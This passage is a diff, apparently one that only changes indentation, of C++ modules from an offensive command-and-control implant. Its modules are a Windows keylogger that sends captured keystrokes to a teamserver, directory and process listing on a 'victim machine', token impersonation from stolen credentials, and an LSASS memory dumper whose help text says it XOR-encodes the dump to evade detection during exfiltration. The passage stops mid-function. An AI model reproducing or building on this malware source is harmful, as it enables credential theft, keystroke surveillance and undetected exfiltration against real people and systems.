std::string output = "Dump:\n";
|
||||
output+=m_saveKeyStrock;
|
||||
c2Message.set_returnvalue(output);
|
||||
m_saveKeyStrock="";
|
||||
return -1;
|
||||
}
|
||||
else
|
||||
{
|
||||
c2Message.set_returnvalue(getInfo());
|
||||
return -1;
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
c2Message.set_returnvalue(getInfo());
|
||||
return -1;
|
||||
}
|
||||
#endif
|
||||
return 0;
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
int KeyLogger::recurringExec(C2Message& c2RetMessage)
|
||||
{
|
||||
std::string output;
|
||||
dumpKeys(output);
|
||||
std::string output;
|
||||
dumpKeys(output);
|
||||
|
||||
c2RetMessage.set_instruction(std::to_string(getHash()));
|
||||
c2RetMessage.set_data(output);
|
||||
|
||||
return 1;
|
||||
c2RetMessage.set_instruction(std::to_string(getHash()));
|
||||
c2RetMessage.set_data(output);
|
||||
|
||||
return 1;
|
||||
}
|
||||
|
||||
|
||||
int KeyLogger::followUp(const C2Message &c2RetMessage)
|
||||
{
|
||||
m_saveKeyStrock+=c2RetMessage.data();
|
||||
m_saveKeyStrock+=c2RetMessage.data();
|
||||
|
||||
return 0;
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
@@ -124,15 +124,15 @@ void KeyLogger::run(void* keyLoggerPtr)
|
||||
#ifdef __linux__
|
||||
#elif _WIN32
|
||||
|
||||
KeyLogger* data = (KeyLogger*)keyLoggerPtr;
|
||||
KeyLogger* data = (KeyLogger*)keyLoggerPtr;
|
||||
|
||||
while (data->getIsThreadLaunched())
|
||||
while (data->getIsThreadLaunched())
|
||||
{
|
||||
// note looking ofr backspace
|
||||
// note looking ofr backspace
|
||||
// for (int i = 0x8; i < 0xFE; i++)
|
||||
for (int i = 0x8; i < 0xFE; i++)
|
||||
for (int i = 0x8; i < 0xFE; i++)
|
||||
{
|
||||
if (i != VK_LSHIFT
|
||||
if (i != VK_LSHIFT
|
||||
&& i != VK_RSHIFT
|
||||
&& i != VK_SHIFT
|
||||
&& i != VK_LCONTROL
|
||||
@@ -142,37 +142,37 @@ void KeyLogger::run(void* keyLoggerPtr)
|
||||
&& i != VK_RMENU
|
||||
&& i != VK_MENU)
|
||||
{
|
||||
short keyState = GetAsyncKeyState(i);
|
||||
short keyState = GetAsyncKeyState(i);
|
||||
|
||||
if ((keyState & 0x01))
|
||||
{
|
||||
HKL keyboardLayout = GetKeyboardLayout(0);
|
||||
|
||||
bool lowercase = ((GetKeyState(VK_CAPITAL) & 0x0001) != 0);
|
||||
if ((keyState & 0x01))
|
||||
{
|
||||
HKL keyboardLayout = GetKeyboardLayout(0);
|
||||
|
||||
bool lowercase = ((GetKeyState(VK_CAPITAL) & 0x0001) != 0);
|
||||
|
||||
if ((GetKeyState(VK_SHIFT) & 0x1000) != 0
|
||||
|| (GetKeyState(VK_LSHIFT) & 0x1000) != 0
|
||||
|| (GetKeyState(VK_RSHIFT) & 0x1000) != 0)
|
||||
{
|
||||
lowercase = !lowercase;
|
||||
}
|
||||
if ((GetKeyState(VK_SHIFT) & 0x1000) != 0
|
||||
|| (GetKeyState(VK_LSHIFT) & 0x1000) != 0
|
||||
|| (GetKeyState(VK_RSHIFT) & 0x1000) != 0)
|
||||
{
|
||||
lowercase = !lowercase;
|
||||
}
|
||||
|
||||
UINT key = MapVirtualKeyExA(i, MAPVK_VK_TO_CHAR, keyboardLayout);
|
||||
|
||||
if(key!=0)
|
||||
{
|
||||
BYTE keystate[256];
|
||||
GetKeyboardState(keystate);
|
||||
UINT key = MapVirtualKeyExA(i, MAPVK_VK_TO_CHAR, keyboardLayout);
|
||||
|
||||
if(key!=0)
|
||||
{
|
||||
BYTE keystate[256];
|
||||
GetKeyboardState(keystate);
|
||||
|
||||
char finalCharPressed;
|
||||
int nchars = ToAscii( i, key, keystate, (LPWORD)&finalCharPressed, 0);
|
||||
char finalCharPressed;
|
||||
int nchars = ToAscii( i, key, keystate, (LPWORD)&finalCharPressed, 0);
|
||||
|
||||
data->setKey(finalCharPressed);
|
||||
}
|
||||
}
|
||||
}
|
||||
data->setKey(finalCharPressed);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
std::this_thread::sleep_for(std::chrono::milliseconds(5));
|
||||
std::this_thread::sleep_for(std::chrono::milliseconds(5));
|
||||
}
|
||||
|
||||
#endif
|
||||
@@ -186,59 +186,59 @@ void KeyLogger::run(void* keyLoggerPtr)
|
||||
|
||||
int KeyLogger::process(C2Message &c2Message, C2Message &c2RetMessage)
|
||||
{
|
||||
c2RetMessage.set_instruction(c2Message.instruction());
|
||||
std::string args = c2Message.args();
|
||||
c2RetMessage.set_instruction(c2Message.instruction());
|
||||
std::string args = c2Message.args();
|
||||
|
||||
if( args == "start")
|
||||
{
|
||||
if(m_isThreadLaunched==false)
|
||||
{
|
||||
m_isThreadLaunched=true;
|
||||
if( args == "start")
|
||||
{
|
||||
if(m_isThreadLaunched==false)
|
||||
{
|
||||
m_isThreadLaunched=true;
|
||||
#ifdef __linux__
|
||||
#elif _WIN32
|
||||
CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE) KeyLogger::run, this, 0, (LPDWORD)&this->threadID);
|
||||
CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE) KeyLogger::run, this, 0, (LPDWORD)&this->threadID);
|
||||
#endif
|
||||
c2RetMessage.set_returnvalue("launched");
|
||||
}
|
||||
else
|
||||
{
|
||||
c2RetMessage.set_errorCode(ERROR_ALREADY_LAUNCHED);
|
||||
}
|
||||
}
|
||||
else if( args == "stop")
|
||||
{
|
||||
if(m_isThreadLaunched==true)
|
||||
{
|
||||
m_isThreadLaunched=false;
|
||||
c2RetMessage.set_returnvalue("stoped");
|
||||
}
|
||||
else
|
||||
{
|
||||
c2RetMessage.set_errorCode(ERROR_ALREADY_STOPED);
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
c2RetMessage.set_errorCode(ERROR_UNKNOWN);
|
||||
}
|
||||
c2RetMessage.set_returnvalue("launched");
|
||||
}
|
||||
else
|
||||
{
|
||||
c2RetMessage.set_errorCode(ERROR_ALREADY_LAUNCHED);
|
||||
}
|
||||
}
|
||||
else if( args == "stop")
|
||||
{
|
||||
if(m_isThreadLaunched==true)
|
||||
{
|
||||
m_isThreadLaunched=false;
|
||||
c2RetMessage.set_returnvalue("stoped");
|
||||
}
|
||||
else
|
||||
{
|
||||
c2RetMessage.set_errorCode(ERROR_ALREADY_STOPED);
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
c2RetMessage.set_errorCode(ERROR_UNKNOWN);
|
||||
}
|
||||
|
||||
return 0;
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
int KeyLogger::errorCodeToMsg(const C2Message &c2RetMessage, std::string& errorMsg)
|
||||
{
|
||||
#ifdef BUILD_TEAMSERVER
|
||||
int errorCode = c2RetMessage.errorCode();
|
||||
if(errorCode>0)
|
||||
{
|
||||
if(errorCode==ERROR_ALREADY_LAUNCHED)
|
||||
errorMsg = "Failed: Already launched";
|
||||
else if(errorCode==ERROR_ALREADY_STOPED)
|
||||
errorMsg = "Failed: Already stoped";
|
||||
else if(errorCode==ERROR_UNKNOWN)
|
||||
errorMsg = "Failed: error unknown";
|
||||
}
|
||||
int errorCode = c2RetMessage.errorCode();
|
||||
if(errorCode>0)
|
||||
{
|
||||
if(errorCode==ERROR_ALREADY_LAUNCHED)
|
||||
errorMsg = "Failed: Already launched";
|
||||
else if(errorCode==ERROR_ALREADY_STOPED)
|
||||
errorMsg = "Failed: Already stoped";
|
||||
else if(errorCode==ERROR_UNKNOWN)
|
||||
errorMsg = "Failed: error unknown";
|
||||
}
|
||||
#endif
|
||||
return 0;
|
||||
return 0;
|
||||
}
|
||||
|
||||
@@ -8,48 +8,48 @@ class KeyLogger : public ModuleCmd
|
||||
{
|
||||
|
||||
public:
|
||||
KeyLogger();
|
||||
~KeyLogger();
|
||||
KeyLogger();
|
||||
~KeyLogger();
|
||||
|
||||
std::string getInfo();
|
||||
std::string getInfo();
|
||||
|
||||
int init(std::vector<std::string>& splitedCmd, C2Message& c2Message);
|
||||
int process(C2Message& c2Message, C2Message& c2RetMessage);
|
||||
int errorCodeToMsg(const C2Message &c2RetMessage, std::string& errorMsg);
|
||||
int recurringExec(C2Message& c2RetMessage);
|
||||
int followUp(const C2Message &c2RetMessage);
|
||||
int osCompatibility()
|
||||
{
|
||||
int init(std::vector<std::string>& splitedCmd, C2Message& c2Message);
|
||||
int process(C2Message& c2Message, C2Message& c2RetMessage);
|
||||
int errorCodeToMsg(const C2Message &c2RetMessage, std::string& errorMsg);
|
||||
int recurringExec(C2Message& c2RetMessage);
|
||||
int followUp(const C2Message &c2RetMessage);
|
||||
int osCompatibility()
|
||||
{
|
||||
return OS_WINDOWS;
|
||||
}
|
||||
|
||||
bool getIsThreadLaunched()
|
||||
{
|
||||
return m_isThreadLaunched;
|
||||
}
|
||||
bool getIsThreadLaunched()
|
||||
{
|
||||
return m_isThreadLaunched;
|
||||
}
|
||||
|
||||
int setKey(char charPressed)
|
||||
{
|
||||
std::lock_guard<std::mutex> guard(m_mutex);
|
||||
m_saveKeyStrock.push_back(charPressed);
|
||||
return 0;
|
||||
}
|
||||
int setKey(char charPressed)
|
||||
{
|
||||
std::lock_guard<std::mutex> guard(m_mutex);
|
||||
m_saveKeyStrock.push_back(charPressed);
|
||||
return 0;
|
||||
}
|
||||
|
||||
int dumpKeys(std::string& output)
|
||||
{
|
||||
std::lock_guard<std::mutex> guard(m_mutex);
|
||||
output = m_saveKeyStrock;
|
||||
m_saveKeyStrock.clear();
|
||||
return 0;
|
||||
}
|
||||
|
||||
int dumpKeys(std::string& output)
|
||||
{
|
||||
std::lock_guard<std::mutex> guard(m_mutex);
|
||||
output = m_saveKeyStrock;
|
||||
m_saveKeyStrock.clear();
|
||||
return 0;
|
||||
}
|
||||
|
||||
private:
|
||||
int threadID;
|
||||
bool m_isThreadLaunched;
|
||||
std::string m_saveKeyStrock;
|
||||
std::mutex m_mutex;
|
||||
int threadID;
|
||||
bool m_isThreadLaunched;
|
||||
std::string m_saveKeyStrock;
|
||||
std::mutex m_mutex;
|
||||
|
||||
static void run(void* keyLoggerPtr);
|
||||
static void run(void* keyLoggerPtr);
|
||||
|
||||
};
|
||||
|
||||
|
||||
@@ -33,9 +33,9 @@ __attribute__((visibility("default"))) ListDirectory * ListDirectoryConstructor(
|
||||
|
||||
ListDirectory::ListDirectory()
|
||||
#ifdef BUILD_TEAMSERVER
|
||||
: ModuleCmd(std::string(moduleName), moduleHash)
|
||||
: ModuleCmd(std::string(moduleName), moduleHash)
|
||||
#else
|
||||
: ModuleCmd("", moduleHash)
|
||||
: ModuleCmd("", moduleHash)
|
||||
#endif
|
||||
{
|
||||
}
|
||||
@@ -46,7 +46,7 @@ ListDirectory::~ListDirectory()
|
||||
|
||||
std::string ListDirectory::getInfo()
|
||||
{
|
||||
std::string info;
|
||||
std::string info;
|
||||
#ifdef BUILD_TEAMSERVER
|
||||
info += "ListDirectory Module:\n";
|
||||
info += "List the contents of a directory on the victim machine.\n";
|
||||
@@ -55,7 +55,7 @@ std::string ListDirectory::getInfo()
|
||||
info += "- ls /tmp\n";
|
||||
info += "- ls C:\\Users\\Public\n";
|
||||
#endif
|
||||
return info;
|
||||
return info;
|
||||
}
|
||||
|
||||
int ListDirectory::init(std::vector<std::string> &splitedCmd, C2Message &c2Message)
|
||||
@@ -68,22 +68,22 @@ int ListDirectory::init(std::vector<std::string> &splitedCmd, C2Message &c2Messa
|
||||
path+=splitedCmd[idx];
|
||||
}
|
||||
|
||||
c2Message.set_instruction(splitedCmd[0]);
|
||||
c2Message.set_cmd(path);
|
||||
c2Message.set_instruction(splitedCmd[0]);
|
||||
c2Message.set_cmd(path);
|
||||
|
||||
return 0;
|
||||
return 0;
|
||||
}
|
||||
|
||||
int ListDirectory::process(C2Message &c2Message, C2Message &c2RetMessage)
|
||||
{
|
||||
string path = c2Message.cmd();
|
||||
std::string outCmd = listDirectory(path);
|
||||
string path = c2Message.cmd();
|
||||
std::string outCmd = listDirectory(path);
|
||||
|
||||
c2RetMessage.set_instruction(c2RetMessage.instruction());
|
||||
c2RetMessage.set_cmd(path);
|
||||
c2RetMessage.set_returnvalue(outCmd);
|
||||
c2RetMessage.set_instruction(c2RetMessage.instruction());
|
||||
c2RetMessage.set_cmd(path);
|
||||
c2RetMessage.set_returnvalue(outCmd);
|
||||
|
||||
return 0;
|
||||
return 0;
|
||||
}
|
||||
|
||||
struct HumanReadable {
|
||||
@@ -179,11 +179,11 @@ std::string ListDirectory::listDirectory(const std::string& path)
|
||||
}
|
||||
}
|
||||
catch (const std::exception &exc)
|
||||
{
|
||||
result += "Error: ";
|
||||
{
|
||||
result += "Error: ";
|
||||
result += exc.what();
|
||||
result += "\n";
|
||||
}
|
||||
|
||||
return result;
|
||||
return result;
|
||||
}
|
||||
@@ -7,20 +7,20 @@ class ListDirectory : public ModuleCmd
|
||||
{
|
||||
|
||||
public:
|
||||
ListDirectory();
|
||||
~ListDirectory();
|
||||
ListDirectory();
|
||||
~ListDirectory();
|
||||
|
||||
std::string getInfo();
|
||||
std::string getInfo();
|
||||
|
||||
int init(std::vector<std::string>& splitedCmd, C2Message& c2Message);
|
||||
int process(C2Message& c2Message, C2Message& c2RetMessage);
|
||||
int osCompatibility()
|
||||
{
|
||||
int init(std::vector<std::string>& splitedCmd, C2Message& c2Message);
|
||||
int process(C2Message& c2Message, C2Message& c2RetMessage);
|
||||
int osCompatibility()
|
||||
{
|
||||
return OS_LINUX | OS_WINDOWS;
|
||||
}
|
||||
|
||||
private:
|
||||
std::string listDirectory(const std::string& path);
|
||||
std::string listDirectory(const std::string& path);
|
||||
|
||||
};
|
||||
|
||||
|
||||
@@ -267,21 +267,21 @@ std::string getProcessInfos(DWORD processID, std::string& processName)
|
||||
result += "\n";
|
||||
}
|
||||
else
|
||||
{
|
||||
std::string account="";
|
||||
std::string arch = " ";
|
||||
|
||||
result += account;
|
||||
int size = max(1, (int)(30 - account.size()));
|
||||
result += std::string(size, ' ');
|
||||
result += arch;
|
||||
result += " ";
|
||||
result += processName;
|
||||
size = max(1, (int)(40 - processName.size()));
|
||||
result += std::string(size, ' ');
|
||||
result += std::to_string(processID);
|
||||
result += "\n";
|
||||
}
|
||||
{
|
||||
std::string account="";
|
||||
std::string arch = " ";
|
||||
|
||||
result += account;
|
||||
int size = max(1, (int)(30 - account.size()));
|
||||
result += std::string(size, ' ');
|
||||
result += arch;
|
||||
result += " ";
|
||||
result += processName;
|
||||
size = max(1, (int)(40 - processName.size()));
|
||||
result += std::string(size, ' ');
|
||||
result += std::to_string(processID);
|
||||
result += "\n";
|
||||
}
|
||||
|
||||
CloseHandle( hProcess );
|
||||
|
||||
@@ -294,41 +294,41 @@ std::string GetProcess()
|
||||
std::string result;
|
||||
|
||||
int pid = 0;
|
||||
PVOID buffer = NULL;
|
||||
DWORD bufSize = 0;
|
||||
|
||||
NtQuerySystemInformation_t pNtQuerySystemInformation = (NtQuerySystemInformation_t) GetProcAddress(GetModuleHandle("ntdll.dll"), "NtQuerySystemInformation");
|
||||
pNtQuerySystemInformation((SYSTEM_INFORMATION_CLASS) SystemProcessInformation, 0, 0, &bufSize);
|
||||
|
||||
if (bufSize == 0)
|
||||
return "GetProcess Failed";
|
||||
|
||||
buffer = VirtualAlloc(0, bufSize, MEM_COMMIT, PAGE_READWRITE);
|
||||
|
||||
SYSTEM_PROCESS_INFORMATION * sysproc_info = (SYSTEM_PROCESS_INFORMATION *) buffer;
|
||||
if (pNtQuerySystemInformation((SYSTEM_INFORMATION_CLASS) SystemProcessInformation, buffer, bufSize, &bufSize))
|
||||
PVOID buffer = NULL;
|
||||
DWORD bufSize = 0;
|
||||
|
||||
NtQuerySystemInformation_t pNtQuerySystemInformation = (NtQuerySystemInformation_t) GetProcAddress(GetModuleHandle("ntdll.dll"), "NtQuerySystemInformation");
|
||||
pNtQuerySystemInformation((SYSTEM_INFORMATION_CLASS) SystemProcessInformation, 0, 0, &bufSize);
|
||||
|
||||
if (bufSize == 0)
|
||||
return "GetProcess Failed";
|
||||
|
||||
buffer = VirtualAlloc(0, bufSize, MEM_COMMIT, PAGE_READWRITE);
|
||||
|
||||
SYSTEM_PROCESS_INFORMATION * sysproc_info = (SYSTEM_PROCESS_INFORMATION *) buffer;
|
||||
if (pNtQuerySystemInformation((SYSTEM_INFORMATION_CLASS) SystemProcessInformation, buffer, bufSize, &bufSize))
|
||||
return "pNtQuerySystemInformation Failed";
|
||||
|
||||
|
||||
while (TRUE)
|
||||
{
|
||||
std::string processName;
|
||||
for(int i=0; i<sysproc_info->ImageName.Length; i++)
|
||||
{
|
||||
if((char)sysproc_info->ImageName.Buffer[i]=='\0')
|
||||
break;
|
||||
processName.push_back((char)sysproc_info->ImageName.Buffer[i]);
|
||||
}
|
||||
|
||||
result += getProcessInfos((DWORD)sysproc_info->UniqueProcessId, processName);
|
||||
|
||||
if (!sysproc_info->NextEntryOffset)
|
||||
break;
|
||||
|
||||
sysproc_info = (SYSTEM_PROCESS_INFORMATION *)((ULONG_PTR) sysproc_info + sysproc_info->NextEntryOffset);
|
||||
}
|
||||
|
||||
VirtualFree(buffer, bufSize, MEM_RELEASE);
|
||||
{
|
||||
std::string processName;
|
||||
for(int i=0; i<sysproc_info->ImageName.Length; i++)
|
||||
{
|
||||
if((char)sysproc_info->ImageName.Buffer[i]=='\0')
|
||||
break;
|
||||
processName.push_back((char)sysproc_info->ImageName.Buffer[i]);
|
||||
}
|
||||
|
||||
result += getProcessInfos((DWORD)sysproc_info->UniqueProcessId, processName);
|
||||
|
||||
if (!sysproc_info->NextEntryOffset)
|
||||
break;
|
||||
|
||||
sysproc_info = (SYSTEM_PROCESS_INFORMATION *)((ULONG_PTR) sysproc_info + sysproc_info->NextEntryOffset);
|
||||
}
|
||||
|
||||
VirtualFree(buffer, bufSize, MEM_RELEASE);
|
||||
|
||||
return result;
|
||||
}
|
||||
@@ -359,9 +359,9 @@ __attribute__((visibility("default"))) ListProcesses* ListProcessesConstructor(
|
||||
|
||||
ListProcesses::ListProcesses()
|
||||
#ifdef BUILD_TEAMSERVER
|
||||
: ModuleCmd(std::string(moduleName), moduleHash)
|
||||
: ModuleCmd(std::string(moduleName), moduleHash)
|
||||
#else
|
||||
: ModuleCmd("", moduleHash)
|
||||
: ModuleCmd("", moduleHash)
|
||||
#endif
|
||||
{
|
||||
}
|
||||
@@ -372,7 +372,7 @@ ListProcesses::~ListProcesses()
|
||||
|
||||
std::string ListProcesses::getInfo()
|
||||
{
|
||||
std::string info;
|
||||
std::string info;
|
||||
#ifdef BUILD_TEAMSERVER
|
||||
info += "ListProcesses Module:\n";
|
||||
info += "List all running processes on the victim machine.\n";
|
||||
@@ -380,26 +380,26 @@ std::string ListProcesses::getInfo()
|
||||
info += "\nExamples:\n";
|
||||
info += "- ps\n";
|
||||
#endif
|
||||
return info;
|
||||
return info;
|
||||
}
|
||||
|
||||
int ListProcesses::init(std::vector<std::string> &splitedCmd, C2Message &c2Message)
|
||||
{
|
||||
c2Message.set_instruction(splitedCmd[0]);
|
||||
c2Message.set_cmd("");
|
||||
c2Message.set_instruction(splitedCmd[0]);
|
||||
c2Message.set_cmd("");
|
||||
|
||||
return 0;
|
||||
return 0;
|
||||
}
|
||||
|
||||
int ListProcesses::process(C2Message &c2Message, C2Message &c2RetMessage)
|
||||
{
|
||||
std::string outCmd = listProcesses();
|
||||
std::string outCmd = listProcesses();
|
||||
|
||||
c2RetMessage.set_instruction(c2RetMessage.instruction());
|
||||
c2RetMessage.set_cmd("");
|
||||
c2RetMessage.set_returnvalue(outCmd);
|
||||
c2RetMessage.set_instruction(c2RetMessage.instruction());
|
||||
c2RetMessage.set_cmd("");
|
||||
c2RetMessage.set_returnvalue(outCmd);
|
||||
|
||||
return 0;
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
@@ -417,5 +417,5 @@ std::string ListProcesses::listProcesses()
|
||||
|
||||
#endif
|
||||
|
||||
return result;
|
||||
return result;
|
||||
}
|
||||
@@ -7,20 +7,20 @@ class ListProcesses : public ModuleCmd
|
||||
{
|
||||
|
||||
public:
|
||||
ListProcesses();
|
||||
~ListProcesses();
|
||||
ListProcesses();
|
||||
~ListProcesses();
|
||||
|
||||
std::string getInfo();
|
||||
std::string getInfo();
|
||||
|
||||
int init(std::vector<std::string>& splitedCmd, C2Message& c2Message);
|
||||
int process(C2Message& c2Message, C2Message& c2RetMessage);
|
||||
int osCompatibility()
|
||||
{
|
||||
int init(std::vector<std::string>& splitedCmd, C2Message& c2Message);
|
||||
int process(C2Message& c2Message, C2Message& c2RetMessage);
|
||||
int osCompatibility()
|
||||
{
|
||||
return OS_LINUX | OS_WINDOWS;
|
||||
}
|
||||
|
||||
private:
|
||||
std::string listProcesses();
|
||||
std::string listProcesses();
|
||||
|
||||
};
|
||||
|
||||
|
||||
@@ -46,9 +46,9 @@ __attribute__((visibility("default"))) MakeToken* MakeTokenConstructor()
|
||||
|
||||
MakeToken::MakeToken()
|
||||
#ifdef BUILD_TEAMSERVER
|
||||
: ModuleCmd(std::string(moduleName), moduleHash)
|
||||
: ModuleCmd(std::string(moduleName), moduleHash)
|
||||
#else
|
||||
: ModuleCmd("", moduleHash)
|
||||
: ModuleCmd("", moduleHash)
|
||||
#endif
|
||||
{
|
||||
}
|
||||
@@ -59,14 +59,14 @@ MakeToken::~MakeToken()
|
||||
|
||||
std::string MakeToken::getInfo()
|
||||
{
|
||||
std::string info;
|
||||
std::string info;
|
||||
#ifdef BUILD_TEAMSERVER
|
||||
info += "makeToken:\n";
|
||||
info += "Create a token from user and password and impersonate it. \n";
|
||||
info += "exemple:\n";
|
||||
info += "- makeToken DOMAIN\\Username Password\n";
|
||||
info += "makeToken:\n";
|
||||
info += "Create a token from user and password and impersonate it. \n";
|
||||
info += "exemple:\n";
|
||||
info += "- makeToken DOMAIN\\Username Password\n";
|
||||
#endif
|
||||
return info;
|
||||
return info;
|
||||
}
|
||||
|
||||
int MakeToken::init(std::vector<std::string> &splitedCmd, C2Message &c2Message)
|
||||
@@ -104,13 +104,13 @@ int MakeToken::init(std::vector<std::string> &splitedCmd, C2Message &c2Message)
|
||||
c2Message.set_cmd(cmd);
|
||||
}
|
||||
else
|
||||
{
|
||||
c2Message.set_returnvalue(getInfo());
|
||||
return -1;
|
||||
}
|
||||
{
|
||||
c2Message.set_returnvalue(getInfo());
|
||||
return -1;
|
||||
}
|
||||
#endif
|
||||
|
||||
return 0;
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
@@ -147,7 +147,7 @@ int MakeToken::process(C2Message &c2Message, C2Message &c2RetMessage)
|
||||
// https://github.com/rapid7/meterpreter/blob/master/source/extensions/kiwi/mimikatz/modules/kuhl_m_token.c
|
||||
std::string MakeToken::makeToken(const std::string& username, const std::string& domain, const std::string& password)
|
||||
{
|
||||
std::string result;
|
||||
std::string result;
|
||||
|
||||
#ifdef __linux__
|
||||
|
||||
|
||||
@@ -7,10 +7,10 @@ class MakeToken : public ModuleCmd
|
||||
{
|
||||
|
||||
public:
|
||||
MakeToken();
|
||||
~MakeToken();
|
||||
MakeToken();
|
||||
~MakeToken();
|
||||
|
||||
std::string getInfo();
|
||||
std::string getInfo();
|
||||
|
||||
int init(std::vector<std::string>& splitedCmd, C2Message& c2Message);
|
||||
int process(C2Message& c2Message, C2Message& c2RetMessage);
|
||||
@@ -21,7 +21,7 @@ public:
|
||||
}
|
||||
|
||||
private:
|
||||
std::string makeToken(const std::string& username, const std::string& domain, const std::string& password);
|
||||
std::string makeToken(const std::string& username, const std::string& domain, const std::string& password);
|
||||
};
|
||||
|
||||
|
||||
|
||||
+346
-346
@@ -38,9 +38,9 @@ struct Memory64Info
|
||||
// Constructor for convenience
|
||||
Memory64Info(void* address, SIZE_T size)
|
||||
: Address(address), Size(size)
|
||||
{
|
||||
{
|
||||
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
|
||||
@@ -78,7 +78,7 @@ typedef struct _MiniDumpSystemInfo
|
||||
ULONG32 BuildNumber;
|
||||
ULONG32 PlatformId;
|
||||
|
||||
ULONG32 UnknownField1;
|
||||
ULONG32 UnknownField1;
|
||||
ULONG32 UnknownField2;
|
||||
ULONG32 ProcessorFeatures;
|
||||
ULONG32 ProcessorFeatures2;
|
||||
@@ -116,7 +116,7 @@ typedef struct _MiniDumpLocationDescriptor
|
||||
|
||||
typedef struct _MiniDumpModule
|
||||
{
|
||||
ULONG32 NumberOfModules;
|
||||
ULONG32 NumberOfModules;
|
||||
ULONG64 BaseOfImage;
|
||||
ULONG32 SizeOfImage;
|
||||
ULONG32 CheckSum;
|
||||
@@ -132,7 +132,7 @@ typedef struct _MiniDumpModule
|
||||
|
||||
typedef struct _ModuleSize
|
||||
{
|
||||
ULONG32 size;
|
||||
ULONG32 size;
|
||||
} ModuleSize, *PModuleSize;
|
||||
|
||||
|
||||
@@ -140,14 +140,14 @@ typedef struct _ModuleSize
|
||||
typedef struct _MiniDumpMemory64ListStream
|
||||
{
|
||||
uint64_t NumberOfEntries;
|
||||
uint64_t MemoryRegionsBaseAddress;
|
||||
uint64_t MemoryRegionsBaseAddress;
|
||||
} MiniDumpMemory64ListStream, *PMiniDumpMemory64ListStream;
|
||||
|
||||
|
||||
typedef struct _MiniDumpMemory64Info
|
||||
{
|
||||
uint64_t address;
|
||||
uint64_t size;
|
||||
uint64_t size;
|
||||
} MiniDumpMemory64Info, *PMiniDumpMemory64Info;
|
||||
|
||||
|
||||
@@ -170,9 +170,9 @@ __attribute__((visibility("default"))) MiniDump* MiniDumpConstructor()
|
||||
|
||||
MiniDump::MiniDump()
|
||||
#ifdef BUILD_TEAMSERVER
|
||||
: ModuleCmd(std::string(moduleName), moduleHash)
|
||||
: ModuleCmd(std::string(moduleName), moduleHash)
|
||||
#else
|
||||
: ModuleCmd("", moduleHash)
|
||||
: ModuleCmd("", moduleHash)
|
||||
#endif
|
||||
{
|
||||
|
||||
@@ -187,21 +187,21 @@ MiniDump::~MiniDump()
|
||||
|
||||
std::string MiniDump::getInfo()
|
||||
{
|
||||
std::string info;
|
||||
std::string info;
|
||||
#ifdef BUILD_TEAMSERVER
|
||||
info += "MiniDump Module:\n";
|
||||
info += "This module allows you to dump the LSASS process memory and output it as a file that is XOR-encrypted for evasion purposes.\n";
|
||||
info += "The XORed dump file will be saved in the current directory. You can then decrypt it, once downloaded in the TeamServer, using the 'decrypt' command.\n\n";
|
||||
info += "Usage:\n";
|
||||
info += " miniDump dump dmpFile.xored\n";
|
||||
info += " - Dumps LSASS memory to an XOR-encrypted file (e.g., ./dmpFile.xored)\n\n";
|
||||
info += " miniDump decrypt <path_to_xored_dump>\n";
|
||||
info += " - Decrypts the specified XORed dump file for analysis (e.g., miniDump decrypt /tmp/dmpFile.xored)\n\n";
|
||||
info += "Note:\n";
|
||||
info += " - The dump file is XOR-encoded to avoid detection during exfiltration.\n";
|
||||
info += " - Use the 'decrypt' command locally after download to convert it back to a usable minidump.\n";
|
||||
info += "MiniDump Module:\n";
|
||||
info += "This module allows you to dump the LSASS process memory and output it as a file that is XOR-encrypted for evasion purposes.\n";
|
||||
info += "The XORed dump file will be saved in the current directory. You can then decrypt it, once downloaded in the TeamServer, using the 'decrypt' command.\n\n";
|
||||
info += "Usage:\n";
|
||||
info += " miniDump dump dmpFile.xored\n";
|
||||
info += " - Dumps LSASS memory to an XOR-encrypted file (e.g., ./dmpFile.xored)\n\n";
|
||||
info += " miniDump decrypt <path_to_xored_dump>\n";
|
||||
info += " - Decrypts the specified XORed dump file for analysis (e.g., miniDump decrypt /tmp/dmpFile.xored)\n\n";
|
||||
info += "Note:\n";
|
||||
info += " - The dump file is XOR-encoded to avoid detection during exfiltration.\n";
|
||||
info += " - Use the 'decrypt' command locally after download to convert it back to a usable minidump.\n";
|
||||
#endif
|
||||
return info;
|
||||
return info;
|
||||
}
|
||||
|
||||
|
||||
@@ -214,61 +214,61 @@ int MiniDump::init(std::vector<std::string> &splitedCmd, C2Message &c2Message)
|
||||
{
|
||||
#if defined(BUILD_TEAMSERVER) || defined(BUILD_TESTS)
|
||||
|
||||
if(splitedCmd.size() == 3 && splitedCmd[1]=="dump")
|
||||
{
|
||||
c2Message.set_cmd(dumpCmd);
|
||||
c2Message.set_instruction(splitedCmd[0]);
|
||||
c2Message.set_outputfile(splitedCmd[2]);
|
||||
return 0;
|
||||
}
|
||||
else if(splitedCmd.size() == 3 && splitedCmd[1]=="decrypt")
|
||||
{
|
||||
if(splitedCmd.size() == 3 && splitedCmd[1]=="dump")
|
||||
{
|
||||
c2Message.set_cmd(dumpCmd);
|
||||
c2Message.set_instruction(splitedCmd[0]);
|
||||
c2Message.set_outputfile(splitedCmd[2]);
|
||||
return 0;
|
||||
}
|
||||
else if(splitedCmd.size() == 3 && splitedCmd[1]=="decrypt")
|
||||
{
|
||||
|
||||
std::string filename = splitedCmd[2];
|
||||
std::ifstream dumpfile(filename, std::ios::binary);
|
||||
if (dumpfile)
|
||||
{
|
||||
dumpfile.seekg(0, std::ios::end);
|
||||
std::streamsize size = dumpfile.tellg();
|
||||
dumpfile.seekg(0, std::ios::beg);
|
||||
std::string filename = splitedCmd[2];
|
||||
std::ifstream dumpfile(filename, std::ios::binary);
|
||||
if (dumpfile)
|
||||
{
|
||||
dumpfile.seekg(0, std::ios::end);
|
||||
std::streamsize size = dumpfile.tellg();
|
||||
dumpfile.seekg(0, std::ios::beg);
|
||||
|
||||
std::string buffer(size, '\0');
|
||||
std::string buffer(size, '\0');
|
||||
|
||||
